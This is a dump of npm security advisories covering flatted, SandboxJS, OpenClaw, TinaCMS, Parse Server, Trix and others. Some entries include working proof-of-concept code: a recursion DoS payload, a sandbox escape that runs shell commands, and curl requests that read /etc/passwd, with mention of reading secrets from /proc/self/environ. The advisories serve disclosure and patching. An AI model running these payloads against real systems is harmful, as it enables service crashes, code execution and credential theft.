deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-25h7-pfq9-p65f
Package: flatted (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: < 3.4.0
Patched in: 3.4.0

Summary: flatted vulnerable to unbounded recursion DoS in parse() revive phase

Details:
## Summary

flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

## Impact

Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

## Proof of Concept

```javascript
const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```

## Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.

## Affected Versions

All versions prior to the PR #88 fix.
GitHub Security Advisory: GHSA-6r9f-759j-hjgv
Package: @nyariv/sandboxjs (NPM)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 0.8.33
Patched in: 0.8.34

Summary: SandboxJS affected by a Sandbox Escape

Details:
### Summary

It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.

### Details

There are various ways to get an array containing `Function`, e.g.

```js
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
```

Given an array containing `Function`, and  `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.

### PoC
```js
const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();
```

### Impact

Sandbox Escape -> RCE
GitHub Security Advisory: GHSA-5wcw-8jjv-m286
Package: openclaw (NPM)
Severity: HIGH (CVSS 8.1)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: < 2026.3.11
Patched in: 2026.3.11

Summary: OpenClaw: Untrusted web origins can obtain authenticated operator.admin access in trusted-proxy mode

Details:
## Summary
In affected versions of `openclaw`, browser-originated WebSocket connections could bypass origin validation when `gateway.auth.mode` was set to `trusted-proxy` and the request arrived with proxy headers. A page served from an untrusted origin could connect through a trusted reverse proxy, inherit proxy-authenticated identity, and establish a privileged operator session.

## Impact
This issue affects deployments that expose the Gateway behind a trusted reverse proxy and rely on browser origin checks such as `controlUi.allowedOrigins` to restrict browser access. An attacker who can cause a victim browser to load a malicious page that can reach the proxy endpoint could establish a cross-site WebSocket connection and call privileged Gateway methods.

In verified impact, the attacker-origin page was able to request `operator.admin` and successfully call `config.get`, exposing sensitive configuration. Depending on the deployment, the same authenticated operator path could also permit other privileged reads or mutations available to operator-class callers.

## Affected Packages and Versions
- Package: `openclaw` (npm)
- Affected versions: `< 2026.3.11`
- Fixed in: `2026.3.11`

## Technical Details
The WebSocket handshake logic treated proxy-delivered requests as exempt from the generic browser origin check whenever an `Origin` header was present alongside proxy headers. In `trusted-proxy` mode, that exemption allowed browser-originated connections to skip the normal origin-validation path even though they were still browser requests.

Because trusted-proxy authentication can produce a shared authenticated operator context, the affected path could retain requested operator scopes after the handshake. That made the browser origin check the missing boundary between an untrusted origin and an authenticated operator-class session.

## Fix
OpenClaw now enforces browser origin validation for any browser-originated WebSocket connection regardless of whether proxy headers are present. The fix shipped in `openclaw@2026.3.11`.

Fixed commit: `ebed3bbde1a72a1aaa9b87b63b91e7c04a50036b`
Release tag: `v2026.3.11`

## Workarounds
Upgrade to `2026.3.11` or later.

If you cannot upgrade immediately, avoid exposing browser-reachable Gateway WebSocket endpoints in `trusted-proxy` mode to untrusted origins, and ensure reverse-proxy/browser reachability is restricted to trusted origins only.
GitHub Security Advisory: GHSA-m48g-4wr2-j2h6
Package: @tinacms/cli (NPM)
Severity: MODERATE (CVSS 6.2)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-552: Files or Directories Accessible to External Parties
Vulnerable versions: < 2.1.8
Patched in: 2.1.8

Summary: TinaCMS CLI has Arbitrary File Read via Disabled Vite Filesystem Restriction

Details:
## Summary
The TinaCMS CLI dev server configures Vite with `server.fs.strict: false`, which disables Vite's built-in filesystem access restriction. This allows any unauthenticated attacker who can reach the dev server to read arbitrary files on the host system

## Details
When running `tinacms dev`, the CLI starts a Vite dev server configured in:
`packages/@tinacms/cli/src/next/vite/index.ts`
```
server: {
  host: configManager.config?.build?.host ?? false,
  ...
  fs: {
    strict: false, // Disables Vite's filesystem access restriction
  },
},
```
TinaCMS middleware only intercepts specific route prefixes (/media/*, /graphql, /altair, /searchIndex). Any request to a path outside these routes falls through to Vite's default static file handler, which will serve the file directly from the absolute path on the filesystem.
Additionally, the server enables permissive CORS (cors() with no origin restriction), which may further facilitate browser-based exploitation such as DNS rebinding attacks.

## PoC

**Prerequisites**: TinaCMS CLI dev server running (default port 4001).

- Read system files directly:
```
curl http://localhost:4001/etc/passwd
```
<img width="705" height="332" alt="image" src="https://github.com/user-attachments/assets/6fd0e1c7-a549-40c8-bc81-af9c343f52a0" />

```
curl http://localhost:4001/etc/hostname
```
<img width="631" height="41" alt="image" src="https://github.com/user-attachments/assets/bd103dc3-d4c3-4774-8007-b55de3fc2a9e" />
Vite resolves and serves the absolute path directly from the filesystem.


## Impact
Any developer running tinacms dev in an environment where the dev server port is reachable by an attacker. This includes:

- Cloud IDEs (GitHub Codespaces, Gitpod) where ports are automatically forwarded and publicly accessible

- Docker or VM setups with port forwarding configured

- Misconfigured environments binding to 0.0.0.0 via the build.host config option

- Systems targeted via DNS rebinding attacks, leveraging the unrestricted CORS policy

- Local environments with malicious dependencies running on the same machine

An attacker who can reach port 4001 can:

- Read any file readable by the server process (/etc/passwd, /etc/shadow, SSH private keys)

- Exfiltrate environment variables and secrets via /proc/self/environ

- Access cloud credentials and API keys from configuration files
GitHub Security Advisory: GHSA-hhfx-wfvq-7g9c
Package: @azure/mcp (NPM)
Severity: HIGH (CVSS 8.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 1.0.0, < 1.0.2
Patched in: 1.0.2

Summary: Azure MCP Server has Server-Side Request Forgery issue that allows authorized attacker to elevate privileges over a network

Details:
Server-Side Request Forgery (SSRF) in Azure MCP Server allows an authorized attacker to elevate privileges over a network.
GitHub Security Advisory: GHSA-hhfx-wfvq-7g9c
Package: @azure/mcp (NPM)
Severity: HIGH (CVSS 8.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 2.0.0-beta.1, < 2.0.0-beta.17
Patched in: 2.0.0-beta.17

Summary: Azure MCP Server has Server-Side Request Forgery issue that allows authorized attacker to elevate privileges over a network

Details:
Server-Side Request Forgery (SSRF) in Azure MCP Server allows an authorized attacker to elevate privileges over a network.
GitHub Security Advisory: GHSA-92gp-jfgx-9qpv
Package: hyperterse (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-433: Unparsed Raw Web Content Delivery
Vulnerable versions: >= 2.0.0, < 2.2.0
Patched in: 2.2.0

Summary: Hyperterse: Raw exposure of database statements in MCP search tool

Details:
Hyperterse allows users to specify database queries for tools to execute under the hood. As of [v2.0.0](https://github.com/hyperterse/hyperterse/releases/tag/v2.0.0), there are only two tools exposed - `search` and `execute`. 

The `search` tool allows LLMs to search for tools using natural language. While returning results, Hyperterse also returned the raw SQL queries, exposing statements which were supposed to be executed under the hood, and protected from being displayed publicly.

This issue has been fixed as of [v2.2.0](https://github.com/hyperterse/hyperterse/releases/tag/v2.2.0) and relevant tests to catch these have been added.
GitHub Security Advisory: GHSA-r8jr-wg88-fq5c
Package: @keycloak/keycloak-admin-client (NPM)
Severity: LOW (CVSS 3.1)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: <= 26.5.5
Patched in: unpatched

Summary: Keycloak vulnerable to authorization bypass via the Admin API

Details:
A flaw was found in Keycloak. An authorization bypass vulnerability in the Keycloak Admin API allows any authenticated user, even those without administrative privileges, to enumerate the organization memberships of other users. This information disclosure occurs if the attacker knows the victim's unique identifier (UUID) and the Organizations feature is enabled.
GitHub Security Advisory: GHSA-xj37-qjg2-xwv2
Package: @whyour/qinglong (NPM)
Severity: LOW (CVSS 6.3)
CWE: CWE-693: Protection Mechanism Failure
Vulnerable versions: < 2.20.2
Patched in: 2.20.2

Summary: @whyour/qinglong: manipulation of the argument command leads to protection mechanism failure

Details:
A security vulnerability has been detected in whyour qinglong up to 2.20.1. Affected is an unknown function of the file back/loaders/express.ts of the component API Interface. The manipulation of the argument command leads to protection mechanism failure. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 2.20.2 is able to address this issue. The identifier of the patch is 6bec52dca[PII_REDACTED]5ba0fc2f11206df7b719. It is advisable to upgrade the affected component. The code maintainer was informed beforehand about the issues. He reacted very fast and highly professional.
GitHub Security Advisory: GHSA-xjj9-2w6f-jg55
Package: openclaw (NPM)
Severity: MODERATE (CVSS 3.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 2026.2.19
Patched in: 2026.2.19

Summary:  Duplicate Advisory: OpenClaw safeBins file-existence oracle information disclosure

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6c9j-x93c-rw6j. This link is maintained to preserve external references.

### Original Description
A vulnerability was identified in OpenClaw up to 2026.2.17. This issue affects the function tools.exec.safeBins of the component File Existence Handler. The manipulation leads to information exposure through discrepancy. The attack needs to be performed locally. Upgrading to version 2026.2.19-beta.1 is capable of addressing this issue. The identifier of the patch is bafdbb6f112409a65decd3d4e7350fbd637c7754. Upgrading the affected component is advised.
GitHub Security Advisory: GHSA-wgx8-r9vw-2w4h
Package: openclaw (NPM)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: < 2026.2.21
Patched in: 2026.2.21

Summary:  Duplicate Advisory: OpenClaw: Skill env override host env injection via applySkillConfigEnvOverrides (defense-in-depth)

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-82g8-464f-2mv7. This link is maintained to preserve external references.

### Original Description
A vulnerability was determined in OpenClaw 2026.2.19-2. This vulnerability affects the function applySkillConfigenvOverrides of the component Skill Env Handler. Executing a manipulation can lead to code injection. It is possible to launch the attack remotely. Upgrading to version 2026.2.21-beta.1 is able to resolve this issue. This patch is called 8c9f35cdb51692b650ddf05b259ccdd75cc9a83c. It is recommended to upgrade the affected component.
GitHub Security Advisory: GHSA-5fw2-8jcv-xh87
Package: parse-server (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Vulnerable versions: < 8.6.38
Patched in: 8.6.38

Summary: Parse Server: Account takeover via operator injection in authentication data identifier

Details:
### Impact

An unauthenticated attacker can take over any user account that was created with an authentication provider that does not validate the format of the user identifier (e.g. anonymous authentication). By sending a crafted login request, the attacker can cause the server to perform a pattern-matching query instead of an exact-match lookup, allowing the attacker to match an existing user and obtain a valid session token for that user's account. Both MongoDB and PostgreSQL database backends are affected. Any Parse Server deployment that allows anonymous authentication (enabled by default) is vulnerable.

### Patches

The fix enforces that the user identifier in authentication data is a string before using it in a database query. Non-string values are rejected with a validation error.

### Workarounds

There is no known workaround.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.38
GitHub Security Advisory: GHSA-5fw2-8jcv-xh87
Package: parse-server (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Vulnerable versions: >= 9.0.0, < 9.6.0-alpha.12
Patched in: 9.6.0-alpha.12

Summary: Parse Server: Account takeover via operator injection in authentication data identifier

Details:
### Impact

An unauthenticated attacker can take over any user account that was created with an authentication provider that does not validate the format of the user identifier (e.g. anonymous authentication). By sending a crafted login request, the attacker can cause the server to perform a pattern-matching query instead of an exact-match lookup, allowing the attacker to match an existing user and obtain a valid session token for that user's account. Both MongoDB and PostgreSQL database backends are affected. Any Parse Server deployment that allows anonymous authentication (enabled by default) is vulnerable.

### Patches

The fix enforces that the user identifier in authentication data is a string before using it in a database query. Non-string values are rejected with a validation error.

### Workarounds

There is no known workaround.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.38
GitHub Security Advisory: GHSA-2cjm-2gwv-m892
Package: parse-server (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: < 8.6.37
Patched in: 8.6.37

Summary: Parse Server's OAuth2 adapter shares mutable state across providers via singleton instance

Details:
### Impact

Parse Server's built-in OAuth2 auth adapter exports a singleton instance that is reused directly across all OAuth2 provider configurations. Under concurrent authentication requests for different OAuth2 providers, one provider's token validation may execute using another provider's configuration, potentially allowing a token that should be rejected by one provider to be accepted because it is validated against a different provider's policy.

Deployments that configure multiple OAuth2 providers via the `oauth2: true` flag are affected.

### Patches

The fix ensures that a new adapter instance is created for each provider instead of reusing the singleton, so each provider's configuration is isolated.

### Workarounds

There is no known workaround. If only a single OAuth2 provider is configured, the race condition cannot occur.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-2cjm-2gwv-m892
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.11
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.37
GitHub Security Advisory: GHSA-2cjm-2gwv-m892
Package: parse-server (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: >= 9.0.0, < 9.6.0-alpha.11
Patched in: 9.6.0-alpha.11

Summary: Parse Server's OAuth2 adapter shares mutable state across providers via singleton instance

Details:
### Impact

Parse Server's built-in OAuth2 auth adapter exports a singleton instance that is reused directly across all OAuth2 provider configurations. Under concurrent authentication requests for different OAuth2 providers, one provider's token validation may execute using another provider's configuration, potentially allowing a token that should be rejected by one provider to be accepted because it is validated against a different provider's policy.

Deployments that configure multiple OAuth2 providers via the `oauth2: true` flag are affected.

### Patches

The fix ensures that a new adapter instance is created for each provider instead of reusing the singleton, so each provider's configuration is isolated.

### Workarounds

There is no known workaround. If only a single OAuth2 provider is configured, the race condition cannot occur.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-2cjm-2gwv-m892
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.11
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.37
GitHub Security Advisory: GHSA-qmpg-8xg6-ph5q
Package: trix (NPM)
Severity: MODERATE (CVSS 4.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.1.17
Patched in: 2.1.17

Summary: Trix has a Stored XSS vulnerability through serialized attributes

Details:
### Impact
The Trix editor, in versions prior to 2.1.17, is vulnerable to XSS attacks when a `data-trix-serialized-attributes` attribute bypasses the DOMPurify sanitizer.

An attacker could craft HTML containing a `data-trix-serialized-attributes` attribute with a malicious payload that, when the content is rendered, could execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

### Patches
Update Recommendation: Users should upgrade to Trix editor version 2.1.17 or later.

### References
The XSS vulnerability was responsibly reported by Hackerone researcher [newbiefromcoma](https://hackerone.com/newbiefromcoma).
GitHub Security Advisory: GHSA-mwv9-gp5h-frr4
Package: devalue (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: <= 5.6.3
Patched in: 5.6.4

Summary: Sveltejs devalue's `devalue.parse` and `devalue.unflatten` emit objects with `__proto__` own properties

Details:
In some circumstances, `devalue.parse` and `devalue.unflatten` could emit objects with `__proto__` own properties. This in and of itself is not a security vulnerability (and is possible with, for example, `JSON.parse` as well), but it can result in prototype injection if _downstream_ code handles it incorrectly:

```ts
const result = devalue.parse(/* input creating an object with a __proto__ property */);
const target = {};
Object.assign(target, result); // target's prototype is now polluted
```
GitHub Security Advisory: GHSA-c442-97qw-j6c6
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 8.6.36
Patched in: 8.6.36

Summary: Parse Server has a SQL injection via query field name when using PostgreSQL

Details:
### Impact

An attacker with access to the master key can inject malicious SQL via crafted field names used in query constraints when Parse Server is configured with PostgreSQL as the database. The field name in a `$regex` query operator is passed to PostgreSQL using unparameterized string interpolation, allowing the attacker to manipulate the SQL query. While the master key controls what can be done through the Parse Server abstraction layer, this SQL injection bypasses Parse Server entirely and operates at the database level.

This vulnerability only affects Parse Server deployments using PostgreSQL.

### Patches

The fix applies proper SQL identifier escaping to field names in the query handler and hardens query field name validation to reject malicious field names for all query types.

### Workarounds

There is no known workaround.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-c442-97qw-j6c6
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.10
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.36